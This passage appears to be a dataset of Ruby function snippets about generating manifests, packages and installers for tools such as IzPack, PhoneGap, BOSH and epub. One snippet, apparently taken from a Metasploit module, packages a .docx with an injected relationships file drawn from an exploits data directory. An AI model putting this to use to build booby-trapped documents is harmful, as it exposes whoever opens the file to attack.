!File.exists?(@input)\n\tgenInstaller(Builder::XmlMarkup.new(:target=>File.open(@input, 'w+'), :indent => 2), file_map)\n\t# genInstaller(Builder::XmlMarkup.new(:target=>$stdout, :indent => 2), file_map)\n\t# genInstaller(Builder::XmlMarkup.new(:target=>File.open('/home/niklaus/tmp2.xml', 'w+'), :indent => 2), file_map)\n end\n Buildr.ant('izpack-ant') do |x|\n\tizPackArtifact.invoke\n\tmsg = \"Generating izpack aus #{File.expand_path(@input)}\"\n\ttrace msg\n\tif properties\n\t properties.each{ |name, value|\n\t\t\t puts \"Need added property #{name} with value #{value}\"\n\t\t\t x.property(:name => name, :value => value) \n\t\t\t}\n\tend\n\tx.echo(:message =>msg)\n\tx.taskdef :name=>'izpack', \n\t :classname=>'com.izforge.izpack.ant.IzPackTask', \n\t :classpath=>izPackArtifact.to_s\n\tx.izpack :input=> @input,\n\t\t :output => @output,\n\t\t :basedir => @izpackBaseDir,\n\t\t :installerType=> @installerType,\n\t\t :inheritAll=> @inheritAll,\n\t\t :compression => @compression,\n\t\t :compressionLevel => @compressionLevel do\n\tend\n end\n end", "def generate_manifest\n manifest = \"\"\n open('framework/AndroidManifest.xml', 'r') do |old| \n manifest = old.read\n manifest.gsub! 'android:versionCode=\"5\"', 'android:versionCode=\"1\"'\n manifest.gsub! 'package=\"com.phonegap\"', \"package=\\\"#{ @pkg }\\\"\"\n manifest.gsub! 'android:name=\".StandAlone\"', \"android:name=\\\".#{ @name }\\\"\"\n manifest.gsub! 'android:minSdkVersion=\"5\"', 'android:minSdkVersion=\"3\"'\n end\n open(\"#{ @path }/AndroidManifest.xml\", 'w') { |x| x.puts manifest }\n end", "def package_stemcell\n @stemcell_files << generate_image << generate_manifest\n # package up files\n package_files\n end", "def create_manifest(dlls, dest)\n manifest = +\"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>\\n\" \\\n \"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>\\n\" \\\n \" <assemblyIdentity type='win32' name='ruby_builtin_dlls' version='1.0.0.0'/>\\n\"\n dlls.each { |fn| manifest << \" <file name='#{File.basename(fn)}'/>\\n\" }\n manifest << \"</assembly>\\n\"\n File.open( File.join(dest, 'ruby_builtin_dlls.manifest'), 'wb') { |f| f << manifest }\n end", "def create_deployment_manifest\n cloud_properties = {\n \"instance_type\" => \"m1.small\",\n }\n cloud_properties[\"persistent_disk\"] = flags[:disk] if flags[:disk]\n cloud_properties[\"static_ips\"] = ip_addresses\n director_uuid = Bosh::Gen::Models::BoshConfig.new.target_uuid\n manifest = Bosh::Gen::Models::DeploymentManifest.new(\n name, director_uuid,\n release_properties, cloud_properties, default_properties)\n manifest.jobs = job_manifests\n create_file manifest_file_name, manifest.to_yaml, :force => flags[:force]\n end", "def create_mortar_project_manifest(path)\n File.open(\"#{path}/#{project_manifest_name}\", 'w') do |manifest|\n manifest.puts \"macros\"\n manifest.puts \"pigscripts\"\n manifest.puts \"udfs\"\n\n if File.directory? \"#{path}/lib\"\n manifest.puts \"lib\"\n end\n end\n end", "def export!\n render_manifest_output_and_keys\n render_zip\n end", "def emitIzPackXML(xm)\n # raise \"xm must be an Builder::XmlMarkup object, but is #{xm.class}\" if xm.class != Builder::XmlMarkup\n xm.pack(@attributes) {\n xm.description(@description)\n @files.each{ |src, dest| xm.singlefile('src'=> src, 'target' =>dest) }\n }\n end", "def iiif_metadata\n iiif_manifest_attributes.select { |k, v| !iiif_suppressed_metadata.include?(k) && v.present? }.map do |u, v|\n MetadataObject.new(u, v).to_h\n end\n end", "def built_manifest\n log.info(log_key) { \"Building version manifest\" }\n m = Omnibus::Manifest.new(build_version, build_git_revision, license)\n softwares.each do |software|\n m.add(software.name, software.manifest_entry)\n end\n m\n end", "def iiif_manifest_presenter\n ::Spot::IiifManifestPresenter.new(curation_concern_from_search_results).tap do |p|\n p.hostname = request.hostname\n p.ability = current_ability\n end\n end", "def assets_manifest; end", "def assets_manifest; end", "def build_skeleton\n raise \"File not valid\"\n file = ZipFile.new(path)\n file.mkdir \"META-INF\"\n file.mkdir \"OEBPS\"\n\n container_xml = <<-END.strip_heredoc\n <?xml version=\"1.0\"?>\n <container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n <rootfiles>\n <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n </rootfiles>\n </container>\n END\n\n content_opf = <<-END.strip_heredoc\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"BookID\" version=\"2.0\">\n <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:opf=\"http://www.idpf.org/2007/opf\">\n </metadata>\n <manifest></manifest>\n <spine toc=\"ncx\"></spine>\n </package>\n END\n\n file.write(\"META-INF/container.xml\", container_xml)\n file.write(\"OEBPS/content.opf\", content_opf)\n file\n end", "def import_ai_manifest(output_file,service_name)\n date_string = get_date_string()\n arch_list = []\n base_name = get_service_base_name(service_name)\n if !service_name.match(/i386|sparc/) and !client_arch.match(/i386|sparc/)\n arch_list = [\"i386\",\"SPARC\"]\n else\n if service_name.match(/i386/)\n arch_list.push(\"i386\")\n else\n if service_name.match(/sparc/)\n arch_list.push(\"SPARC\")\n end\n end\n end\n arch_list.each do |sys_arch|\n lc_arch = sys_arch.downcase\n backup = $work_dir+\"/\"+base_name+\"_\"+lc_arch+\"_orig_default.xml.\"+date_string\n message = \"Archiving:\\tService configuration for \"+base_name+\"_\"+lc_arch+\" to \"+backup\n command = \"installadm export -n #{base_name}_#{lc_arch} -m orig_default > #{backup}\"\n output = execute_command(message,command)\n message = \"Validating:\\tService configuration \"+output_file\n command = \"AIM_MANIFEST=#{output_file} ; export AIM_MANIFEST ; aimanifest validate\"\n output = execute_command(message,command)\n if output.match(/[A-z|0-9]/)\n puts \"AI manifest file \"+output_file+\" does not contain a valid XML manifest\"\n puts output\n else\n message = \"Importing:\\t\"+output_file+\" to service \"+service_name+\" as manifest named \"+$default_manifest_name\n command = \"installadm create-manifest -n #{base_name}_#{lc_arch} -m #{$default_manifest_name} -f #{output_file}\"\n output = execute_command(message,command)\n message = \"Setting:\\tDefault manifest for service \"+service_name+\" to \"+$default_manifest_name\n command = \"installadm set-service -o default-manifest=#{$default_manifest_name} #{base_name}_#{lc_arch}\"\n output = execute_command(message,command)\n end\n end\n return\nend", "def generate_manifest(test_resources)\n manifest = ''\n test_resources = [test_resources].flatten # ensure it's an array so we enumerate properly\n test_resources.each do |resource|\n manifest << resource[:pre_code] + \"\\n\" if resource[:pre_code]\n namevar = (resource[:parameters][:namevar] if resource[:parameters]) || \"#{resource[:type]}_#{random_string}\"\n # ensure these are double quotes around the namevar incase users puppet-interpolate inside it\n # FIXME: add test ^^\n manifest << resource[:type] + '{\"' + namevar + '\":' if resource[:type]\n if resource[:parameters]\n resource[:parameters].each do |key,value|\n next if key == :namevar\n manifest << \"#{key} => #{value},\"\n end\n end\n manifest << \"}\\n\" if resource[:type]\n end\n return manifest\n end", "def add_priv_assm\n libruby_regex = /msvcrt-ruby\\d+\\.dll$/i\n bin_dir = File.join D_INSTALL, \"bin\"\n Dir.chdir(bin_dir) { |d|\n libruby = Dir['*.dll'].grep(libruby_regex)[0]\n new = <<-EOT\n <dependency>\n <dependentAssembly>\n <assemblyIdentity version='1.0.0.0' type='win32' name='ruby_builtin_dlls'/>\n </dependentAssembly>\n </dependency>\n <file name='#{libruby}'/>\nEOT\n ['ruby.exe', 'rubyw.exe'].each { |fn|\n image = File.binread(fn)\n image.gsub!(/<\\?xml.*?<assembly.*?<\\/assembly>\\s+/m) { |m|\n orig_len = m.bytesize\n newm = m.gsub(/^\\s*<\\/assembly>/, \"#{new}</assembly>\")\n # shorten to match original\n newm.gsub!(/<!--The ID below indicates application support for/, '<!--') if newm.bytesize > orig_len\n newm.gsub!(/^ *<!--.*?-->\\n/m, \"\") if newm.bytesize > orig_len\n newm.gsub!(/^ +/, \"\") if newm.bytesize > orig_len\n raise \"replacement manifest too big #{m.bytesize} < #{newm.bytesize}\" if m.bytesize < newm.bytesize\n newm + \" \" * (orig_len - newm.bytesize)\n }\n File.binwrite(fn, image)\n }\n }\n end", "def iiif_manifest_exhibit\n { exhibit: slug }\n end", "def iiif_manifest_exhibit\n { exhibit: slug }\n end", "def spec_file params\n file = \"\"\n params.each do |k,v|\n file << \"%s: %s\\n\" % [k, v]\n end\n file << \"\\n\"\n @components.each do |name, component|\n next unless component.includes_manifest?\n file << component.manifest_meta \n file << \"\\n\"\n end\n file\n end", "def manifest\n @_manifest\n end", "def manifest\n record do |m|\n \n # Generates the Rake Tasks and Backup Database\n m.directory \"lib/tasks\"\n m.file \"backup.rake\", \"lib/tasks/backup.rake\"\n\n # Generates the configuration file\n m.directory \"config\"\n m.file \"backup.rb\", \"config/backup.rb\"\n \n # Generates the database migration file\n m.migration_template \"create_backup_tables.rb\",\n \"db/migrate\",\n :migration_file_name => \"create_backup_tables\"\n \n # Outputs the generators message to the terminal\n puts message\n end\n end", "def make_new_file\n\t\tmetadata_file_data = \"\"\n\t\tmetadata_file_data << \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?><cp:coreProperties\"\n\t\tmetadata_file_data << \" xmlns:cp=\\\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\\\" \"\n\t\tmetadata_file_data << \"xmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\" xmlns:dcterms=\\\"http://purl.org/dc/terms/\\\" \"\n\t\tmetadata_file_data << \"xmlns:dcmitype=\\\"http://purl.org/dc/dcmitype/\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\">\"\n\t\tmetadata_file_data << \"<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}\"\n\t\tmetadata_file_data << \"</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>\"\n\n\t\t#where to find the skeleton files required for creating an empty document\n\t\tdata_dir = File.join(Msf::Config.install_root, \"data\", \"exploits\", \"docx\")\n\n\t\t#making the actual docx\n\t\tdocx = Rex::Zip::Archive.new\n\t\t#add skeleton files\n\t\tvprint_status(\"Adding skeleton files from #{data_dir}\")\n\t\tDir[\"#{data_dir}/**/**\"].each do |file|\n\t\t\tif not File.directory?(file)\n\t\t\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t\tend\n\t\tend\n\t\t#add on-the-fly created documents\n\t\tvprint_status(\"Adding injected files\")\n\t\tdocx.add_file(\"docProps/core.xml\", metadata_file_data)\n\t\tdocx.add_file(\"word/_rels/settings.xml.rels\", @rels_file_data)\n\t\t#add the otherwise skipped \"hidden\" file\n\t\tfile = \"#{data_dir}/_rels/.rels\"\n\t\tdocx.add_file(file.sub(data_dir,''), File.read(file))\n\t\t#and lets create the file\n\t\tfile_create(docx.pack)\n\tend", "def generate_manifest\n puts \"Creating AndroidManifest.xml\"\n manifest = \"\"\n open(File.join(@droidgap_src_dir, \"AndroidManifest.xml\"), 'r') do |old|\n manifest = old.read\n manifest.gsub! 'android:versionCode=\"5\"', 'android:versionCode=\"1\"'\n manifest.gsub! 'package=\"com.phonegap\"', \"package=\\\"#{ @pkg }\\\"\"\n manifest.gsub! 'android:name=\".StandAlone\"', \"android:name=\\\".#{ @name.gsub(' ','') }\\\"\"\n manifest.gsub! 'android:minSdkVersion=\"5\"', 'android:minSdkVersion=\"2\"'\n end\n open(File.join(@output_dir, \"AndroidManifest.xml\"), 'w') { |x| x.puts manifest }\n end", "def prepare_manifest_for(entries)\n deploy_manifest\n end", "def manifest_name\n \"MANIFEST.#{name}\"\n end", "def iiif_manifest_builder\n self.class.iiif_manifest_builder ||\n (Flipflop.cache_work_iiif_manifest? ? Hyrax::CachingIiifManifestBuilder : Hyrax::ManifestBuilderService)\n end", "def manifest\n record do |m|\n # # Check for class naming collisions.\n # m.class_collisions controller_class_path, \"#{controller_class_name}Controller\", \"#{controller_class_name}ControllerTest\", \"#{controller_class_name}Helper\"\n\n # Controller, helper, views, and test directories.\n\n # Model, controller, helper, views, and test directories.\n m.directory File.join('app/models', class_path)\n m.directory File.join('test/unit', class_path)\n # I use factories\n # m.directory File.join('test/fixtures', class_path)\n m.directory File.join('app/controllers', controller_class_path)\n m.directory File.join('app/helpers', controller_class_path)\n m.directory File.join('app/views', controller_class_path, controller_file_name)\n m.directory File.join('app/views/layouts', controller_class_path)\n m.directory File.join('test/functional', controller_class_path)\n\n # Unit test, and fixtures.\n # m.template 'unit_test.rb', File.join('test/unit', \"#{singular_name}_test.rb\")\n # I use factories\n # m.template 'fixtures.yml', File.join('test/fixtures', \"#{singular_name}.yml\")\n\n m.complex_template 'model.rb',\n File.join('app/models', \"#{singular_name}.rb\"),\n :insert => 'model_scaffolding.rhtml',\n :sandbox => lambda { create_sandbox }\n\n m.complex_template('form.rhtml',\n File.join('app/views',\n controller_class_path,\n controller_file_name,\n '_form.rhtml'),\n :insert => 'form_scaffolding.rhtml',\n :sandbox => lambda { create_sandbox },\n :begin_mark => 'form',\n :end_mark => 'eoform',\n :mark_id => singular_name) if less_dry_partial?\n\n m.complex_template('show.rhtml',\n File.join('app/views',\n controller_class_path,\n controller_file_name,\n '_show.rhtml'),\n :insert => 'show_scaffolding.rhtml',\n :sandbox => lambda { create_sandbox },\n :begin_mark => 'show',\n :end_mark => 'eoshow',\n :mark_id => singular_name) if less_dry_partial?\n\n # Controller class, functional test, helper, and views.\n # m.template('functional_test.rb', File.join('test/functional', controller_class_path, \"#{controller_file_name}_controller_test.rb\"))\n controller_template_name = 'controller_methods.rb'\n m.complex_template controller_template_name,\n File.join('app/controllers',\n controller_class_path,\n \"#{controller_file_name}_controller.rb\"),\n :insert => 'controller_scaffolding.rhtml',\n :sandbox => lambda { create_sandbox }\n m.template 'helper.rb',\n File.join('app/helpers',\n controller_class_path,\n \"#{controller_file_name}_helper.rb\") \n\n end\n end", "def generating_ipa\n puts\n generating = \"Generating IPA\"\n puts bold(generating)\n puts generating.length.times.map {\"=\"}.join\n puts\n end", "def manifest\n @manifest\n end", "def create\n create_role_directory\n generate_manifests_file\n end", "def manifest(type)\n type = type.downcase\n say \"Rendering #{type} manifest\", :green\n @values = parse_cloud_config\n @tf_output = parse_tf_state('terraform/terraform.tfstate') if options[:cloud] == 'aws'\n\n if options[:cloud] == 'aws'\n @private_subnet = IPAddr.new(@values['aws']['private_subnet']['network']).to_range.to_a\n @public_subnet = IPAddr.new(@values['aws']['public_subnet']['network']).to_range.to_a\n else\n @private_subnet = IPAddr.new(@values['gcp']['subnet_cidr']).to_range.to_a\n end\n\n @static_ip_vault = @private_subnet[11].to_s\n @static_ips_concourse = [@private_subnet[12]].map(&:to_s)\n @static_ip_prometheus_stack = @private_subnet[18].to_s\n\n case type\n when \"bosh\"\n directory(\"#{options[:cloud]}/deployments/bosh\", 'deployments/bosh')\n template(\"#{options[:cloud]}/bosh-vars.yml.erb\", 'config/bosh-vars.yml')\n copy_file(\"#{options[:cloud]}/docs/bosh.md\", \"docs/bosh.md\")\n template(\"#{options[:cloud]}/bin/bosh-install.sh.tt\", \"bin/bosh-install.sh\")\n chmod('bin/bosh-install.sh', 0755)\n\n when \"concourse\"\n directory(\"#{options[:cloud]}/deployments/concourse\", \"deployments/concourse\")\n copy_file(\"#{options[:cloud]}/docs/concourse.md\", \"docs/concourse.md\")\n template(\"#{options[:cloud]}/bin/concourse-deploy.sh.tt\", \"bin/concourse-deploy.sh\")\n chmod('bin/concourse-deploy.sh', 0755)\n ingress_add_entry(@values['concourse']['hostname'], @static_ips_concourse, port: 8080)\n\n when \"vault\"\n template(\"#{options[:cloud]}/deployments/vault/vault.yml.erb\", \"deployments/vault/vault.yml\")\n copy_file(\"#{options[:cloud]}/docs/vault.md\", \"docs/vault.md\")\n template(\"#{options[:cloud]}/bin/vault-deploy.sh.tt\", \"bin/vault-deploy.sh\")\n chmod('bin/vault-deploy.sh', 0755)\n ingress_add_entry(@values['vault']['hostname'], [@static_ip_vault], port: 8200)\n\n when \"ingress\"\n template(\"#{options[:cloud]}/deployments/ingress/ingress.yml.erb\", \"deployments/ingress/ingress.yml\")\n copy_file(\"#{options[:cloud]}/docs/ingress.md\", \"docs/ingress.md\")\n template(\"#{options[:cloud]}/bin/ingress-deploy.sh.tt\", \"bin/ingress-deploy.sh\")\n template(\"#{options[:cloud]}/bin/ingress-update.sh.tt\", \"bin/ingress-update.sh\")\n chmod('bin/ingress-deploy.sh', 0755)\n chmod('bin/ingress-update.sh', 0755)\n\n when \"prometheus\"\n directory(\"#{options[:cloud]}/deployments/prometheus\", \"deployments/prometheus\")\n copy_file(\"#{options[:cloud]}/docs/prometheus.md\", \"docs/prometheus.md\")\n template(\"#{options[:cloud]}/bin/prometheus-deploy.sh.tt\", \"bin/prometheus-deploy.sh\")\n chmod('bin/prometheus-deploy.sh', 0755)\n ingress_add_entry(@values['alertmanager']['hostname'], [@static_ip_prometheus_stack], port: 9093)\n ingress_add_entry(@values['grafana']['hostname'], [@static_ip_prometheus_stack], port: 3000)\n ingress_add_entry(@values['prometheus']['hostname'], [@static_ip_prometheus_stack], port: 9090)\n\n else\n say \"Manifest type not specified\"\n\n end\n end", "def add_webpub_manifest!\n system \"cd #{share_path}; #{Rails.root.join('script/create_manifest')} #{edition.store_link}\"\n end", "def boilerplate ingestor\n\n @pid = ingestor.pid\n\n @mods.add_iid_identifier @iid if @mods.iids.empty? # we do sanity checking and setup the @iid elsewhere\n @mods.add_islandora_identifier ingestor.pid\n @mods.add_flvc_extension_elements @manifest\n\n if @mods.type_of_resource.empty?\n @mods.add_type_of_resource @mods_type_of_resource\n end\n\n @mods.post_process_cleanup # creates purl if necessary, must be done after iid inserted into MODS\n raise PackageError, \"Invalid MODS file\" unless @mods.valid?\n\n ingestor.label = @label\n ingestor.owner = @owner\n ingestor.content_model = @content_model\n ingestor.collections = @collections\n ingestor.dc = @mods.to_dc\n ingestor.mods = @mods.to_s\n\n if @marc\n ingestor.datastream('MARCXML') do |ds|\n ds.dsLabel = \"Archived MarcXML\"\n ds.content = @marc\n ds.mimeType = 'text/xml'\n end\n end\n\n if @manifest.embargo\n @drupal_db.add_embargo @pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n\n # set POLICY if there is only one collection with same namespace and POLICY datastream\n # if none or more than one collection, do not set POLICY\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = rels_ext(ingestor.pid)\n ds.mimeType = 'application/rdf+xml'\n end\n end", "def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Microvisor.V1.AppManifestContext #{context}>\"\n end", "def generate\n ::Albacore::CrossPlatformCmd.system 'fpm', generate_flags_flat\n end", "def generate\n <<-MODULE_MAP.strip_heredoc\n#{module_specifier_prefix}module #{target.product_module_name}#{module_declaration_attributes} {\n #{headers.join(\"\\n \")}\n\n export *\n module * { export * }\n}\n MODULE_MAP\n end", "def create_manifests_node\n Bebox::Provision.add_node_to_step_manifests(self.project_root, self)\n end", "def generate_info_file(info_hash = nil)\n info_hash ||= {}\n @info_file = <<-EOS.strip\n ;!@Install@!UTF-8!\n #{info_hash.map { |k, v| \"#{k}=\\\"#{v}\\\"\" }.join(\"\\n\")}\n ;!@InstallEnd@!\n EOS\n ::File.open(\"#{sfx_cache_path}/sfx_info.txt\", 'wb:UTF-8') { |file| file.write(@info_file) }\n end", "def output(file, ast)\n raise _(\"RDOC SUPPORT FOR MANIFEST HAS BEEN REMOVED - See PUP-3638\")\n end", "def to_xml_builder\n md = Nokogiri::XML(@metadata.to_xml).at_css('metadata').to_xml\n Nokogiri::XML::Builder.new(encoding: 'utf-8') do |x|\n x.package(xmlns: 'http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd') {\n x << md\n unless @files.empty?\n x.files {\n @files.each do |f|\n if f.exclude\n x.file src: f.src, target: f.target, exclude: f.exclude\n else\n x.file src: f.src, target: f.target\n end\n end\n }\n end\n }\n end\n end", "def specific_manifest_file_path\n \"#{get_formatted_controller_name}-#{get_formatted_action_name}\"\n end", "def make_installer_gtifw exe_path\n end", "def boilerplate ingestor\n\n @mods.add_islandora_identifier ingestor.pid\n @mods.add_extension_elements @manifest\n\n # somewhat order dependent\n\n ingestor.label = @label\n ingestor.owner = @owner\n ingestor.content_model = @content_model\n ingestor.collections = @collections\n ingestor.dc = @mods.to_dc\n ingestor.mods = @mods.to_s\n\n if @marc\n ingestor.datastream('MARCXML') do |ds|\n ds.dsLabel = \"Archived Digitool MarcXML\"\n ds.content = @marc\n ds.mimeType = 'text/xml'\n end\n end\n end", "def pkg_manifest_file\n @pkg_manifest_file ||= File.join(staging_dir, \"#{safe_base_package_name}.p5m\")\n end", "def assets_manifest=(_arg0); end", "def assets_manifest=(_arg0); end", "def manifest_file_create_command(id, manifest_src)\n saver.file_create_command(manifest_filename(id), manifest_src)\n end", "def convert_to_mobi\r\n print \"Converting to Kindle format... \"\r\n kindlegen = 'kindlegen'\r\n if (RUBY_PLATFORM.downcase.include?(\"mswin\"))\r\n kindlegen = kindlegen+\".exe\"\r\n end\r\n kindlegen = File.join(@dirs[:bin], kindlegen)\r\n # skip mobi creation if kindlegen can not be found\r\n if File.exists?(kindlegen)\r\n output = `#{kindlegen} #{@epub} -c2`\r\n if File.exists?(@mobi)\r\n puts \"done\"\r\n else\r\n puts \"failed\"\r\n puts output\r\n end\r\n\r\n else\r\n puts \"skipped\"\r\n puts \"The program kindlegen was not found. Please obtain the kindlegen executable from Amazon.\"\r\n end\r\n end", "def send_manifest\n begin\n manifest = JSON.parse(File.read(@manifest))\n manifest['instanceId'] = \"#{Socket.gethostname}_#{SecureRandom.uuid}\" if @generate_instance_ids\n @instance_id = manifest['instanceId']\n rescue\n end\n send_message('APP_MANIFEST', manifest)\n end", "def pkg_metadata_file\n @pkg_metadata_file ||= File.join(staging_dir, \"gen.manifestfile\")\n end", "def write_manifest\n generator = ManifestGenerator.new(spec)\n\n File.open(@output_dir.join('manifest.json'), 'w') do |f|\n f.write JSON.pretty_generate(generator.spec_as_json)\n end\n end", "def release_manifest_name\n \"#{name}-release-manifest\"\n end", "def name\n return \"New Firmware\" if !id\n version + \" (\" + description.to_s + \") \" +\n \" (\" + (for_external ? \"internal\" : \"external\") + \")\"\n end", "def build_mod_files!\n apply_simple_terrain_map_mod!\n create_mod_descriptor!(\n name: \"A Simple Terrain Map Mode for Kaiserreich\",\n path: \"mod/#{mod_name}\",\n supported_version: \"1.6.*\",\n picture: \"a_simple_terrain_map_mode_kr.png\",\n )\n end", "def to_manifest(mode)\n {\n 'dataSetSLIManifest' => {\n 'parts' => fields.reduce([]) { |memo, f| val = f.to_manifest_part(mode); memo << val unless val.nil?; memo },\n 'dataSet' => self.identifier,\n 'file' => 'data.csv', # should be configurable\n 'csvParams' => {\n 'quoteChar' => '\"',\n 'escapeChar' => '\"',\n 'separatorChar' => ',',\n 'endOfLine' => \"\\n\"\n }\n }\n }\n end", "def description\n @manifest_options[:description] || \"\"\n end", "def generate\n result = <<-eos.strip_heredoc\n framework module #{target.product_module_name} {\n umbrella header \"#{target.umbrella_header_path.basename}\"\n\n export *\n module * { export * }\n eos\n\n result << \"\\n#{generate_private_header_exports}\" unless private_headers.empty?\n result << \"}\\n\"\n end", "def manifest\n puts 'running'\n controller_names.each do |name|\n # This option is not necessary while there is only one controller\n # next unless options[:only].empty? || file.start_with?(options[:only])\n copy_file \"chive/#{name}_controller.rb\", \"app/controllers/chive/#{name}_controller.rb\"\n end\n end", "def generate_module(module_name, env_name, modulepath)\n module_pp = <<-MANIFEST_SNIPPET\n \"#{modulepath}\":;\n \"#{modulepath}/#{module_name}\":;\n \"#{modulepath}/#{module_name}/manifests\":;\n\n \"#{modulepath}/#{module_name}/manifests/init.pp\":\n ensure => file,\n content => 'class #{module_name} {\n notify { \"include #{env_name} #{module_name}\": }\n }'\n ;\n MANIFEST_SNIPPET\n end", "def make_bag\n move_files_to_bag\n bag.write_chipmunk_info(common_tags.merge(audio_metadata))\n bag.download_metadata\n bag.manifest!\n end", "def manifest_path\n build_output_dir.join('manifest.json')\n end", "def to_vcap_manifest()\n #TODO\n @wrapped\n end", "def generate\n <<-MODULE_MAP.strip_heredoc\n framework module #{target.product_module_name} {\n umbrella header \"#{target.umbrella_header_path.basename}\"\n\n export *\n module * { export * }\n }\n MODULE_MAP\n end", "def construct_dotfile_entry(app)\n dotlines = \"\\n#{app.commentmarker*5} Universal Shortcuts start here - do not edit this line/block\\n\"\n dotlines += \"#{app.commentmarker*5} Be aware any changes you manually add in this block will be over-written next time you run universal-shortcuts. \\n\"\n dotlines += \"#{app.commentmarker*5} If you want to edit the below, you should do so through universal-shortcuts\\n\"\n app.marshal_dump.each do |attribute,value|\n unless (attribute.to_s == \"unmapcommand\") || (attribute.to_s == \"mapcommand\") || (attribute.to_s == \"dotfilelocation\") || (attribute.to_s == \"defaultmodifier\") || (attribute.to_s == \"commentmarker\")\n if (command = value[\"defaultkey\"]) &&\n (command.length > 0) &&\n (function = value[\"function\"]) &&\n (function.length > 0)\n shortcut = app.defaultmodifier.gsub(\"<?>\",command)\n line = app.mapcommand.gsub(\"<?>\",shortcut)\n line = line.gsub(\"<!>\", function)\n dotlines += \"#{line} \\n\"\n end\n end\n end\n dotlines += \"#{app.commentmarker*5} Universal Shortcuts end here - do not edit this line/block\\n\\n\"\n return {\"dotlines\" => dotlines, \"commentmarker\" => app.commentmarker, \"appname\" => app.appname, \"dotfilelocation\" => app.dotfilelocation}\nend", "def generate_object(object, title, kind, seed, extra)\n props = select_properties(object.all_user_properties, kind, extra)\n\n extra = {\n project: \"'test project\\##{seed} data'\",\n credential: \"'cred#{seed}'\"\n }.merge(extra)\n\n # Puppet does not like when virtual resources have an ensure property\n extra.delete(:ensure) if object.virtual\n\n [\n \"#{object.out_name} { '#{title}':\",\n @provider.indent_list(\n emit_manifest_block(props, seed, extra, {}), 2, true\n ),\n '}'\n ]\n end", "def package_stemcell\n @stemcell_files << generate_image << generate_manifest << stemcell_files\n # package up files\n package_files\n end", "def generate_filename\n #if episodeTitle != brandTitle (brandTitle looks to be the name of the program) then use this in the filename\n if @metadata[:episodeTitle] != @metadata[:brandTitle]\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}__#{@metadata[:episodeTitle]}\"\n else #otherwise just use title1/2\n out_file = \"#{@metadata[:title1]}__#{@metadata[:title2]}\"\n end\n out_file.gsub!(/[^0-9A-Za-z.\\-]/, '_') #replace non alphanumerics with underscores\n\n @out_file = File.join(@out_dir, out_file)\n end", "def make_epub(options={})\n filename = manifest.filename\n zfname = filename + '.zip'\n base_file = \"#{zip} -X0 #{zfname} mimetype\"\n fullzip = \"#{zip} -rDXg9\"\n meta_info = \"#{fullzip} #{zfname} META-INF -x \\*.DS_Store -x mimetype\"\n main_info = \"#{fullzip} #{zfname} OEBPS -x \\*.DS_Store \\*.gitkeep\"\n rename = \"mv #{zfname} #{filename}.epub\"\n commands = [base_file, meta_info, main_info, rename]\n command = commands.join(' && ')\n Dir.chdir('epub') do\n if Softcover.test? || options[:quiet] || options[:silent]\n silence { system(command) }\n else\n system(command)\n end\n end\n end", "def create_gemfile\n unless options[:skip_gemfile]\n puts \"Create #{name} gemfile manifest\"\n end\n end", "def createContents\n\t\tcontents = []\n\t\t\n\t\tcontents << createLabel(\"<b><big>#{APP_NAME}</big></b>\")\n\t\tcontents << createLabel(@abt['version'] + ' ' + VERSION + \" (#{YEAR})\")\n\t\tcontents << createLabel(LICENSE)\n\t\tcontents << createLabel(\"<b>#{@abt['authors']}</b>\")\n\t\tcontents << createLabel(AUTHORS)\n\n\t\treturn contents\n\tend", "def export_xml(version)\n \n # Make sure all of the dates are in the right format\n @item['date'] = Time.now.utc.iso8601\n for section in ['offer', 'programme', 'trailer']\n case section\n when 'offer'\n label = 'window'\n else\n label = 'license'\n end\n if @item.has_key?(section)\n for period in ['start', 'end']\n @item[section][label][period] = @item[section][label][period].utc.iso8601\n end\n end\n end\n\n case version\n when :fpe2_5 \n template = ERB.new(Vpi2_5.get_xml_template(), nil, '-')\n when :fpe3_0\n template = ERB.new(Vpi3_0.get_xml_template(), nil, '-')\n else\n exit(\"Feature Package version \" + version.to_s + \" not supported\")\n end\n \n template.result(binding) \n end", "def create_stored_manifest\n unless stored_manifest\n @stored_manifest = directory.files.new(:body => components.to_json, :key => \"#{manifest.name}-#{version}.json\", :content_type => 'application/json')\n @stored_manifest.acl = 'public-read' if Manifesto.public_manifests?\n @stored_manifest.save\n create_current_manifest\n end\n end", "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Microvisor.V1.AppManifestInstance #{values}>\"\n end", "def primary_file(origin_name, dist_name, component_name, packages)\n content = {\n :metadata => {\n :@xmlns => XMLNS_MAP[:common],\n \"@xmlns:rpm\" => XMLNS_MAP[:rpm],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@type => 